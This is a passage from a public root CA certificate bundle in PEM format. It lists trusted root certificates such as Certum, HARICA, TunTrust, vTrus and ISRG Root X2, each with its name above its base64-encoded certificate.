vLtoURMMA/cVi4RguYv/Uo7njLwcAjA8+RHUjE7AwWHCFUyqqx0LMV87HOIAl0Qx5v5zli/altP+
CAezNIm8BZ/3Hobui3A=
-----END CERTIFICATE-----

ANF Secure Server Root CA
=========================
-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----

Certum EC-384 CA
================
-----BEGIN CERTIFICATE-----
MIICZTCCAeugAwIBAgIQeI8nXIESUiClBNAt3bpz9DAKBggqhkjOPQQDAzB0MQswCQYDVQQGEwJQ
TDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2Vy
dGlmaWNhdGlvbiBBdXRob3JpdHkxGTAXBgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwHhcNMTgwMzI2
MDcyNDU0WhcNNDMwMzI2MDcyNDU0WjB0MQswCQYDVQQGEwJQTDEhMB8GA1UEChMYQXNzZWNvIERh
dGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkx
GTAXBgNVBAMTEENlcnR1bSBFQy0zODQgQ0EwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAATEKI6rGFtq
vm5kN2PkzeyrOvfMobgOgknXhimfoZTy42B4mIF4Bk3y7JoOV2CDn7TmFy8as10CW4kjPMIRBSqn
iBMY81CE1700LCeJVf/OTOffph8oxPBUw7l8t1Ot68KjQjBAMA8GA1UdEwEB/wQFMAMBAf8wHQYD
VR0OBBYEFI0GZnQkdjrzife81r1HfS+8EF9LMA4GA1UdDwEB/wQEAwIBBjAKBggqhkjOPQQDAwNo
ADBlAjADVS2m5hjEfO/JUG7BJw+ch69u1RsIGL2SKcHvlJF40jocVYli5RsJHrpka/F2tNQCMQC0
QoSZ/6vnnvuRlydd3LBbMHHOXjgaatkl5+r3YZJW+OraNsKHZZYuciUvf9/DE8k=
-----END CERTIFICATE-----

Certum Trusted Root CA
======================
-----BEGIN CERTIFICATE-----
MIIFwDCCA6igAwIBAgIQHr9ZULjJgDdMBvfrVU+17TANBgkqhkiG9w0BAQ0FADB6MQswCQYDVQQG
EwJQTDEhMB8GA1UEChMYQXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0g
Q2VydGlmaWNhdGlvbiBBdXRob3JpdHkxHzAdBgNVBAMTFkNlcnR1bSBUcnVzdGVkIFJvb3QgQ0Ew
HhcNMTgwMzE2MTIxMDEzWhcNNDMwMzE2MTIxMDEzWjB6MQswCQYDVQQGEwJQTDEhMB8GA1UEChMY
QXNzZWNvIERhdGEgU3lzdGVtcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlvbiBB
dXRob3JpdHkxHzAdBgNVBAMTFkNlcnR1bSBUcnVzdGVkIFJvb3QgQ0EwggIiMA0GCSqGSIb3DQEB
AQUAA4ICDwAwggIKAoICAQDRLY67tzbqbTeRn06TpwXkKQMlzhyC93yZn0EGze2jusDbCSzBfN8p
fktlL5On1AFrAygYo9idBcEq2EXxkd7fO9CAAozPOA/qp1x4EaTByIVcJdPTsuclzxFUl6s1wB52
HO8AU5853BSlLCIls3Jy/I2z5T4IHhQqNwuIPMqw9MjCoa68wb4pZ1Xi/K1ZXP69VyywkI3C7Te2
fJmItdUDmj0VDT06qKhF8JVOJVkdzZhpu9PMMsmN74H+rX2Ju7pgE8pllWeg8xn2A1bUatMn4qGt
g/BKEiJ3HAVz4hlxQsDsdUaakFjgao4rpUYwBI4Zshfjvqm6f1bxJAPXsiEodg42MEx51UGamqi4
NboMOvJEGyCI98Ul1z3G4z5D3Yf+xOr1Uz5MZf87Sst4WmsXXw3Hw09Omiqi7VdNIuJGmj8PkTQk
fVXjjJU30xrwCSss0smNtA0Aq2cpKNgB9RkEth2+dv5yXMSFytKAQd8FqKPVhJBPC/PgP5sZ0jeJ
P/J7UhyM9uH3PAeXjA6iWYEMspA90+NZRu0PqafegGtaqge2Gcu8V/OXIXoMsSt0Puvap2ctTMSY
njYJdmZm/Bo/6khUHL4wvYBQv3y1zgD2DGHZ5yQD4OMBgQ692IU0iL2yNqh7XAjlRICMb/gv1SHK
HRzQ+8S1h9E6Tsd2tTVItQIDAQABo0IwQDAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSM+xx1
vALTn04uSNn5YFSqxLNP+jAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZIhvcNAQENBQADggIBAEii1QAL
LtA/vBzVtVRJHlpr9OTy4EA34MwUe7nJ+jW1dReTagVphZzNTxl4WxmB82M+w85bj/UvXgF2Ez8s
ALnNllI5SW0ETsXpD4YN4fqzX4IS8TrOZgYkNCvozMrnadyHncI013nR03e4qllY/p0m+jiGPp2K
h2RX5Rc64vmNueMzeMGQ2Ljdt4NR5MTMI9UGfOZR0800McD2RrsLrfw9EAUqO0qRJe6M1ISHgCq8
CYyqOhNf6DR5UMEQGfnTKB7U0VEwKbOukGfWHwpjscWpxkIxYxeU72nLL/qMFH3EQxiJ2fAyQOaA
4kZf5ePBAFmo+eggvIksDkc0C+pXwlM2/KfUrzHN/gLldfq5Jwn58/U7yn2fqSLLiMmq0Uc9Nneo
WWRrJ8/vJ8HjJLWG965+Mk2weWjROeiQWMODvA8s1pfrzgzhIMfatz7DP78v3DSk+yshzWePS/Tj
6tQ/50+6uaWTRRxmHyH6ZF5v4HaUMst19W7l9o/HuKTMqJZ9ZPskWkoDbGs4xugDQ5r3V7mzKWmT
OPQD8rv7gmsHINFSH5pkAnuYZttcTVoP0ISVoDwUQwbKytu4QTbaakRnh6+v40URFWkIsr4WOZck
bxJF0WddCajJFdr60qZfE2Efv4WstK2tBZQIgx51F9NxO5NQI1mg7TyRVJ12AMXDuDjb
-----END CERTIFICATE-----

TunTrust Root CA
================
-----BEGIN CERTIFICATE-----
MIIFszCCA5ugAwIBAgIUEwLV4kBMkkaGFmddtLu7sms+/BMwDQYJKoZIhvcNAQELBQAwYTELMAkG
A1UEBhMCVE4xNzA1BgNVBAoMLkFnZW5jZSBOYXRpb25hbGUgZGUgQ2VydGlmaWNhdGlvbiBFbGVj
dHJvbmlxdWUxGTAXBgNVBAMMEFR1blRydXN0IFJvb3QgQ0EwHhcNMTkwNDI2MDg1NzU2WhcNNDQw
NDI2MDg1NzU2WjBhMQswCQYDVQQGEwJUTjE3MDUGA1UECgwuQWdlbmNlIE5hdGlvbmFsZSBkZSBD
ZXJ0aWZpY2F0aW9uIEVsZWN0cm9uaXF1ZTEZMBcGA1UEAwwQVHVuVHJ1c3QgUm9vdCBDQTCCAiIw
DQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMPN0/y9BFPdDCA61YguBUtB9YOCfvdZn56eY+hz
2vYGqU8ftPkLHzmMmiDQfgbU7DTZhrx1W4eI8NLZ1KMKsmwb60ksPqxd2JQDoOw05TDENX37Jk0b
bjBU2PWARZw5rZzJJQRNmpA+TkBuimvNKWfGzC3gdOgFVwpIUPp6Q9p+7FuaDmJ2/uqdHYVy7BG7
NegfJ7/Boce7SBbdVtfMTqDhuazb1YMZGoXRlJfXyqNlC/M4+QKu3fZnz8k/9YosRxqZbwUN/dAd
gjH8KcwAWJeRTIAAHDOFli/LQcKLEITDCSSJH7UP2dl3RxiSlGBcx5kDPP73lad9UKGAwqmDrViW
VSHbhlnUr8a83YFuB9tgYv7sEG7aaAH0gxupPqJbI9dkxt/con3YS7qC0lH4Zr8GRuR5KiY2eY8f
Tpkdso8MDhz/yV3A/ZAQprE38806JG60hZC/gLkMjNWb1sjxVj8agIl6qeIbMlEsPvLfe/ZdeikZ
juXIvTZxi11Mwh0/rViizz1wTaZQmCXcI/m4WEEIcb9PuISgjwBUFfyRbVinljvrS5YnzWuioYas
DXxU5mZMZl+QviGaAkYt5IPCgLnPSz7ofzwB7I9ezX/SKEIBlYrilz0QIX32nRzFNKHsLA4KUiwS
VXAkPcvCFDVDXSdOvsC9qnyW5/yeYa1E0wCXAgMBAAGjYzBhMB0GA1UdDgQWBBQGmpsfU33x9aTI
04Y+oXNZtPdEITAPBgNVHRMBAf8EBTADAQH/MB8GA1UdIwQYMBaAFAaamx9TffH1pMjThj6hc1m0
90QhMA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEAqgVutt0Vyb+zxiD2BkewhpMl
0425yAA/l/VSJ4hxyXT968pk21vvHl26v9Hr7lxpuhbI87mP0zYuQEkHDVneixCwSQXi/5E/S7fd
Ao74gShczNxtr18UnH1YeA32gAm56Q6XKRm4t+v4FstVEuTGfbvE7Pi1HE4+Z7/FXxttbUcoqgRY
YdZ2vyJ/0Adqp2RT8JeNnYA/u8EH22Wv5psymsNUk8QcCMNE+3tjEUPRahphanltkE8pjkcFwRJp
adbGNjHh/PqAulxPxOu3Mqz4dWEX1xAZufHSCe96Qp1bWgvUxpVOKs7/B9dPfhgGiPEZtdmYu65x
xBzndFlY7wyJz4sfdZMaBBSSSFCp61cpABbjNhzI+L/wM9VBD8TMPN3pM0MBkRArHtG5Xc0yGYuP
jCB31yLEQtyEFpslbei0VXF/sHyz03FJuc9SpAQ/3D2gu68zngowYI7bnV2UqL1g52KAdoGDDIzM
MEZJ4gzSqK/rYXHv5yJiqfdcZGyfFoxnNidF9Ql7v/YQCvGwjVRDjAS6oz/v4jXH+XTgbzRB0L9z
ZVcg+ZtnemZoJE6AZb0QmQZZ8mWvuMZHu/2QeItBcy6vVR/cO5JyboTT0GFMDcx2V+IthSIVNg3r
AZ3r2OvEhJn7wAzMMujjd9qDRIueVSjAi1jTkD5OGwDxFa2DK5o=
-----END CERTIFICATE-----

HARICA TLS RSA Root CA 2021
===========================
-----BEGIN CERTIFICATE-----
MIIFpDCCA4ygAwIBAgIQOcqTHO9D88aOk8f0ZIk4fjANBgkqhkiG9w0BAQsFADBsMQswCQYDVQQG
EwJHUjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9u
cyBDQTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBSU0EgUm9vdCBDQSAyMDIxMB4XDTIxMDIxOTEwNTUz
OFoXDTQ1MDIxMzEwNTUzN1owbDELMAkGA1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRl
bWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgUlNB
IFJvb3QgQ0EgMjAyMTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIvC569lmwVnlskN
JLnQDmT8zuIkGCyEf3dRywQRNrhe7Wlxp57kJQmXZ8FHws+RFjZiPTgE4VGC/6zStGndLuwRo0Xu
a2s7TL+MjaQenRG56Tj5eg4MmOIjHdFOY9TnuEFE+2uva9of08WRiFukiZLRgeaMOVig1mlDqa2Y
Ulhu2wr7a89o+uOkXjpFc5gH6l8Cct4MpbOfrqkdtx2z/IpZ525yZa31MJQjB/OCFks1mJxTuy/K
5FrZx40d/JiZ+yykgmvwKh+OC19xXFyuQnspiYHLA6OZyoieC0AJQTPb5lh6/a6ZcMBaD9YThnEv
dmn8kN3bLW7R8pv1GmuebxWMevBLKKAiOIAkbDakO/IwkfN4E8/BPzWr8R0RI7VDIp4BkrcYAuUR
0YLbFQDMYTfBKnya4dC6s1BG7oKsnTH4+yPiAwBIcKMJJnkVU2DzOFytOOqBAGMUuTNe3QvboEUH
GjMJ+E20pwKmafTCWQWIZYVWrkvL4N48fS0ayOn7H6NhStYqE613TBoYm5EPWNgGVMWX+Ko/IIqm
haZ39qb8HOLubpQzKoNQhArlT4b4UEV4AIHrW2jjJo3Me1xR9BQsQL4aYB16cmEdH2MtiKrOokWQ
CPxrvrNQKlr9qEgYRtaQQJKQCoReaDH46+0N0x3GfZkYVVYnZS6NRcUk7M7jAgMBAAGjQjBAMA8G
A1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFApII6ZgpJIKM+qTW8VX6iVNvRLuMA4GA1UdDwEB/wQE
AwIBhjANBgkqhkiG9w0BAQsFAAOCAgEAPpBIqm5iFSVmewzVjIuJndftTgfvnNAUX15QvWiWkKQU
EapobQk1OUAJ2vQJLDSle1mESSmXdMgHHkdt8s4cUCbjnj1AUz/3f5Z2EMVGpdAgS1D0NTsY9FVq
QRtHBmg8uwkIYtlfVUKqrFOFrJVWNlar5AWMxajaH6NpvVMPxP/cyuN+8kyIhkdGGvMA9YCRotxD
QpSbIPDRzbLrLFPCU3hKTwSUQZqPJzLB5UkZv/HywouoCjkxKLR9YjYsTewfM7Z+d21+UPCfDtcR
j88YxeMn/ibvBZ3PzzfF0HvaO7AWhAw6k9a+F9sPPg4ZeAnHqQJyIkv3N3a6dcSFA1pj1bF1BcK5
vZStjBWZp5N99sXzqnTPBIWUmAD04vnKJGW/4GKvyMX6ssmeVkjaef2WdhW+o45WxLM0/L5H9MG0
qPzVMIho7suuyWPEdr6sOBjhXlzPrjoiUevRi7PzKzMHVIf6tLITe7pTBGIBnfHAT+7hOtSLIBD6
Alfm78ELt5BGnBkpjNxvoEppaZS3JGWg/6w/zgH7IS79aPib8qXPMThcFarmlwDB31qlpzmq6YR/
PFGoOtmUW4y/Twhx5duoXNTSpv4Ao8YWxw/ogM4cKGR0GQjTQuPOAF1/sdwTsOEFy9EgqoZ0njnn
kf3/W9b3raYvAwtt41dU63ZTGI0RmLo=
-----END CERTIFICATE-----

HARICA TLS ECC Root CA 2021
===========================
-----BEGIN CERTIFICATE-----
MIICVDCCAdugAwIBAgIQZ3SdjXfYO2rbIvT/WeK/zjAKBggqhkjOPQQDAzBsMQswCQYDVQQGEwJH
UjE3MDUGA1UECgwuSGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBD
QTEkMCIGA1UEAwwbSEFSSUNBIFRMUyBFQ0MgUm9vdCBDQSAyMDIxMB4XDTIxMDIxOTExMDExMFoX
DTQ1MDIxMzExMDEwOVowbDELMAkGA1UEBhMCR1IxNzA1BgNVBAoMLkhlbGxlbmljIEFjYWRlbWlj
IGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ0ExJDAiBgNVBAMMG0hBUklDQSBUTFMgRUNDIFJv
b3QgQ0EgMjAyMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABDgI/rGgltJ6rK9JOtDA4MM7KKrxcm1l
AEeIhPyaJmuqS7psBAqIXhfyVYf8MLA04jRYVxqEU+kw2anylnTDUR9YSTHMmE5gEYd103KUkE+b
ECUqqHgtvpBBWJAVcqeht6NCMEAwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUyRtTgRL+BNUW
0aq8mm+3oJUZbsowDgYDVR0PAQH/BAQDAgGGMAoGCCqGSM49BAMDA2cAMGQCMBHervjcToiwqfAi
rcJRQO9gcS3ujwLEXQNwSaSS6sUUiHCm0w2wqsosQJz76YJumgIwK0eaB8bRwoF8yguWGEEbo/Qw
CZ61IygNnxS2PFOiTAZpffpskcYqSUXm7LcT4Tps
-----END CERTIFICATE-----

Autoridad de Certificacion Firmaprofesional CIF A62634068
=========================================================
-----BEGIN CERTIFICATE-----
MIIGFDCCA/ygAwIBAgIIG3Dp0v+ubHEwDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCRVMxQjBA
BgNVBAMMOUF1dG9yaWRhZCBkZSBDZXJ0aWZpY2FjaW9uIEZpcm1hcHJvZmVzaW9uYWwgQ0lGIEE2
MjYzNDA2ODAeFw0xNDA5MjMxNTIyMDdaFw0zNjA1MDUxNTIyMDdaMFExCzAJBgNVBAYTAkVTMUIw
QAYDVQQDDDlBdXRvcmlkYWQgZGUgQ2VydGlmaWNhY2lvbiBGaXJtYXByb2Zlc2lvbmFsIENJRiBB
NjI2MzQwNjgwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDKlmuO6vj78aI14H9M2uDD
Utd9thDIAl6zQyrET2qyyhxdKJp4ERppWVevtSBC5IsP5t9bpgOSL/UR5GLXMnE42QQMcas9UX4P
B99jBVzpv5RvwSmCwLTaUbDBPLutN0pcyvFLNg4kq7/DhHf9qFD0sefGL9ItWY16Ck6WaVICqjaY
7Pz6FIMMNx/Jkjd/14Et5cS54D40/mf0PmbR0/RAz15iNA9wBj4gGFrO93IbJWyTdBSTo3OxDqqH
ECNZXyAFGUftaI6SEspd/NYrspI8IM/hX68gvqB2f3bl7BqGYTM+53u0P6APjqK5am+5hyZvQWyI
plD9amML9ZMWGxmPsu2bm8mQ9QEM3xk9Dz44I8kvjwzRAv4bVdZO0I08r0+k8/6vKtMFnXkIoctX
MbScyJCyZ/QYFpM6/EfY0XiWMR+6KwxfXZmtY4laJCB22N/9q06mIqqdXuYnin1oKaPnirjaEbsX
LZmdEyRG98Xi2J+Of8ePdG1asuhy9azuJBCtLxTa/y2aRnFHvkLfuwHb9H/TKI8xWVvTyQKmtFLK
bpf7Q8UIJm+K9Lv9nyiqDdVF8xM6HdjAeI9BZzwelGSuewvF6NkBiDkal4ZkQdU7hwxu+g/GvUgU
vzlN1J5Bto+WHWOWk9mVBngxaJ43BjuAiUVhOSPHG0SjFeUc+JIwuwIDAQABo4HvMIHsMB0GA1Ud
DgQWBBRlzeurNR4APn7VdMActHNHDhpkLzASBgNVHRMBAf8ECDAGAQH/AgEBMIGmBgNVHSAEgZ4w
gZswgZgGBFUdIAAwgY8wLwYIKwYBBQUHAgEWI2h0dHA6Ly93d3cuZmlybWFwcm9mZXNpb25hbC5j
b20vY3BzMFwGCCsGAQUFBwICMFAeTgBQAGEAcwBlAG8AIABkAGUAIABsAGEAIABCAG8AbgBhAG4A
bwB2AGEAIAA0ADcAIABCAGEAcgBjAGUAbABvAG4AYQAgADAAOAAwADEANzAOBgNVHQ8BAf8EBAMC
AQYwDQYJKoZIhvcNAQELBQADggIBAHSHKAIrdx9miWTtj3QuRhy7qPj4Cx2Dtjqn6EWKB7fgPiDL
4QjbEwj4KKE1soCzC1HA01aajTNFSa9J8OA9B3pFE1r/yJfY0xgsfZb43aJlQ3CTkBW6kN/oGbDb
LIpgD7dvlAceHabJhfa9NPhAeGIQcDq+fUs5gakQ1JZBu/hfHAsdCPKxsIl68veg4MSPi3i1O1il
I45PVf42O+AMt8oqMEEgtIDNrvx2ZnOorm7hfNoD6JQg5iKj0B+QXSBTFCZX2lSX3xZEEAEeiGaP
cjiT3SC3NL7X8e5jjkd5KAb881lFJWAiMxujX6i6KtoaPc1A6ozuBRWV1aUsIC+nmCjuRfzxuIgA
LI9C2lHVnOUTaHFFQ4ueCyE8S1wF3BqfmI7avSKecs2tCsvMo2ebKHTEm9caPARYpoKdrcd7b/+A
lun4jWq9GJAd/0kakFI3ky88Al2CdgtR5xbHV/g4+afNmyJU72OwFW1TZQNKXkqgsqeOSQBZONXH
9IBk9W6VULgRfhVwOEqwf9DEMnDAGf/JOC0ULGb0QkTmVXYbgBVX/8Cnp6o5qtjTcNAuuuuUavpf
NIbnYrX9ivAwhZTJryQCL2/W3Wf+47BVTwSYT6RBVuKT0Gro1vP7ZeDOdcQxWQzugsgMYDNKGbqE
ZycPvEJdvSRUDewdcAZfpLz6IHxV
-----END CERTIFICATE-----

vTrus ECC Root CA
=================
-----BEGIN CERTIFICATE-----
MIICDzCCAZWgAwIBAgIUbmq8WapTvpg5Z6LSa6Q75m0c1towCgYIKoZIzj0EAwMwRzELMAkGA1UE
BhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xGjAYBgNVBAMTEXZUcnVzIEVDQyBS
b290IENBMB4XDTE4MDczMTA3MjY0NFoXDTQzMDczMTA3MjY0NFowRzELMAkGA1UEBhMCQ04xHDAa
BgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xGjAYBgNVBAMTEXZUcnVzIEVDQyBSb290IENBMHYw
EAYHKoZIzj0CAQYFK4EEACIDYgAEZVBKrox5lkqqHAjDo6LN/llWQXf9JpRCux3NCNtzslt188+c
ToL0v/hhJoVs1oVbcnDS/dtitN9Ti72xRFhiQgnH+n9bEOf+QP3A2MMrMudwpremIFUde4BdS49n
TPEQo0IwQDAdBgNVHQ4EFgQUmDnNvtiyjPeyq+GtJK97fKHbH88wDwYDVR0TAQH/BAUwAwEB/zAO
BgNVHQ8BAf8EBAMCAQYwCgYIKoZIzj0EAwMDaAAwZQIwV53dVvHH4+m4SVBrm2nDb+zDfSXkV5UT
QJtS0zvzQBm8JsctBp61ezaf9SXUY2sAAjEA6dPGnlaaKsyh2j/IZivTWJwghfqrkYpwcBE4YGQL
YgmRWAD5Tfs0aNoJrSEGGJTO
-----END CERTIFICATE-----

vTrus Root CA
=============
-----BEGIN CERTIFICATE-----
MIIFVjCCAz6gAwIBAgIUQ+NxE9izWRRdt86M/TX9b7wFjUUwDQYJKoZIhvcNAQELBQAwQzELMAkG
A1UEBhMCQ04xHDAaBgNVBAoTE2lUcnVzQ2hpbmEgQ28uLEx0ZC4xFjAUBgNVBAMTDXZUcnVzIFJv
b3QgQ0EwHhcNMTgwNzMxMDcyNDA1WhcNNDMwNzMxMDcyNDA1WjBDMQswCQYDVQQGEwJDTjEcMBoG
A1UEChMTaVRydXNDaGluYSBDby4sTHRkLjEWMBQGA1UEAxMNdlRydXMgUm9vdCBDQTCCAiIwDQYJ
KoZIhvcNAQEBBQADggIPADCCAgoCggIBAL1VfGHTuB0EYgWgrmy3cLRB6ksDXhA/kFocizuwZots
SKYcIrrVQJLuM7IjWcmOvFjai57QGfIvWcaMY1q6n6MLsLOaXLoRuBLpDLvPbmyAhykUAyyNJJrI
ZIO1aqwTLDPxn9wsYTwaP3BVm60AUn/PBLn+NvqcwBauYv6WTEN+VRS+GrPSbcKvdmaVayqwlHeF
XgQPYh1jdfdr58tbmnDsPmcF8P4HCIDPKNsFxhQnL4Z98Cfe/+Z+M0jnCx5Y0ScrUw5XSmXX+6KA
YPxMvDVTAWqXcoKv8R1w6Jz1717CbMdHflqUhSZNO7rrTOiwCcJlwp2dCZtOtZcFrPUGoPc2BX70
kLJrxLT5ZOrpGgrIDajtJ8nU57O5q4IikCc9Kuh8kO+8T/3iCiSn3mUkpF3qwHYw03dQ+A0Em5Q2
AXPKBlim0zvc+gRGE1WKyURHuFE5Gi7oNOJ5y1lKCn+8pu8fA2dqWSslYpPZUxlmPCdiKYZNpGvu
/9ROutW04o5IWgAZCfEF2c6Rsffr6TlP9m8EQ5pV9T4FFL2/s1m02I4zhKOQUqqzApVg+QxMaPnu
1RcN+HFXtSXkKe5lXa/R7jwXC1pDxaWG6iSe4gUH3DRCEpHWOXSuTEGC2/KmSNGzm/MzqvOmwMVO
9fSddmPmAsYiS8GVP1BkLFTltvA8Kc9XAgMBAAGjQjBAMB0GA1UdDgQWBBRUYnBj8XWEQ1iO0RYg
scasGrz2iTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOC
AgEAKbqSSaet8PFww+SX8J+pJdVrnjT+5hpk9jprUrIQeBqfTNqK2uwcN1LgQkv7bHbKJAs5EhWd
nxEt/Hlk3ODg9d3gV8mlsnZwUKT+twpw1aA08XXXTUm6EdGz2OyC/+sOxL9kLX1jbhd47F18iMjr
jld22VkE+rxSH0Ws8HqA7Oxvdq6R2xCOBNyS36D25q5J08FsEhvMKar5CKXiNxTKsbhm7xqC5PD4
8acWabfbqWE8n/Uxy+QARsIvdLGx14HuqCaVvIivTDUHKgLKeBRtRytAVunLKmChZwOgzoy8sHJn
xDHO2zTlJQNgJXtxmOTAGytfdELSS8VZCAeHvsXDf+eW2eHcKJfWjwXj9ZtOyh1QRwVTsMo554Wg
icEFOwE30z9J4nfrI8iIZjs9OXYhRvHsXyO466JmdXTBQPfYaJqT4i2pLr0cox7IdMakLXogqzu4
sEb9b91fUlV1YvCXoHzXOP0l382gmxDPi7g4Xl7FtKYCNqEeXxzP4padKar9mK5S4fNBUvupLnKW
nyfjqnN9+BojZns7q2WwMgFLFT49ok8MKzWixtlnEjUwzXYuFrOZnk1PTi07NEPhmg4NpGaXutIc
SkwsKouLgU9xGqndXHt7CMUADTdA43x7VF8vhV929vensBxXVsFy6K2ir40zSbofitzmdHxghm+H
l3s=
-----END CERTIFICATE-----

ISRG Root X2
============
-----BEGIN CERTIFICATE-----
MIICGzCCAaGgAwIBAgIQQdKd0XLq7qeAwSxs6S+HUjAKBggqhkjOPQQDAzBPMQswCQYDVQQGEwJV
UzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMTDElT
UkcgUm9vdCBYMjAeFw0yMDA5MDQwMDAwMDBaFw00MDA5MTcxNjAwMDBaME8xCzAJBgNVBAYTAlVT
MSkwJwYDVQQKEyBJbnRlcm5ldCBTZWN1cml0eSBSZXNlYXJjaCBHcm91cDEVMBMGA1UEAxMMSVNS
RyBSb290IFgyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEzZvVn4CDCuwJSvMWSj5cz3es3mcFDR0H
ttwW+1qLFNvicWDEukWVEYmO6gbf9yoWHKS5xcUy4APgHoIYOIvXRdgKam7mAHf7AlF9ItgKbppb
d9/w+kHsOdx1ymgHDB/qo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNV
HQ4EFgQUfEKWrt5LSDv6kviejM9ti6lyN5UwCgYIKoZIzj0EAwMDaAAwZQIwe3lORlCEwkSHRhtF
